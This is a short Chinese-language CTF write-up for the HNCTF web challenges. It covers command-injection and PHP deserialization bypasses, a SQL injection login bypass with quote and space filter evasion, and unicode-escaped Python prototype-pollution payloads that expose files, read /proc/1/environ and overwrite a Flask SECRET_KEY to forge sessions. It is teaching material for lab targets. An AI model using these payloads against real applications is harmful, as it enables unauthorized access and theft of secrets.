HNCTFWP
WEB
Really_Ez_Rce
第一步用数组就能直接绕过,第二步经过测试可以用$5进行隔断执行命令,
拿到flag
ez_php
1 |
|
第一步,需要绕过的点是throw new Exception(‘What do you want to do?’); 可以看文章
https://xz.aliyun.com/news/11289
然后就能进行反序列化了。
1 |
|
exp,这里主要难点是call_user_func_array第二个参数给我们确定了,我们可以像第一个参数传入一个数组,这样就能够忽滤掉第二个参数,从而执行命令
半成品login
弱密码
sql注入,要拿到flag
既然放在了hacker*****下,我们就尝试登陆,
需要的sql语句:
1 | select * where username='hacker' and password='1' or username like 'hacker%' |
首先,and的优先级时比or大的,只要or的前者不满足条件就会选中后者,后者用%进行一个模糊搜索(只要时hacker开头的会被选中),因此可直接登录进,无需密码
payload
1 | username=hacker&password=1' || username like'hacker%'# |
这里payload空格和引号被过滤了,空格使用,/**/绕过,或者使用%a0应该也可以,引号使用两次url编码
DeceptiFlag
这边有一个隐藏的输入框,可以删掉,按钮有个判定的重定向,
一个是xiyangyang,一个是huitailang
flag.php下是假的的flag,看一下环境变量是/proc/1/environ
奇怪的咖啡店
非预期
很明显的python原型链的污染
这时候我们可以污染静态文件,实现任意文件读取
{“init“:{“globals“:{“app”:{“_static_folder”: “/“}}}}
当然__init__是类实例的属性,这题不需要(这题是函数对象),只能直接用__globals__(不影响)
{“globals“:{“app”:{“_static_folder”: “/“}}}
{“\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f”: {“\u0061\u0070\u0070”: {“\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072”: “\u002f”}}}
访问/proc/1/environ
预期
先利用上述污染掉static
在读取app.py完整文件
这边是要打ssti
污染key
{“globals“: {“app”: {“config”: {“SECRET_KEY”: “123”}}}}
{“\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f”: {“\u0061\u0070\u0070”: {“\u0063\u006f\u006e\u0066\u0069\u0067”: {“\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059”: “123”}}}}
再污染掉
{“globals“ : {“param_black_list” : [“123”]}}
{“\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f” :{“\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074” : [“123”]}}
然后构造session
命令执行成功
watch
我们进入环境之后,是一个文件读取,可以读取任意文件,但是不能直接进行目录穿越读取D盘里的内容
然后解决办法就是使用, CVE-2023-45283 ,一个cve漏洞,??\C:会被解析为C:从而达到绕过安全检测
拿到key
得到flag
两个re+web波煮是真不会re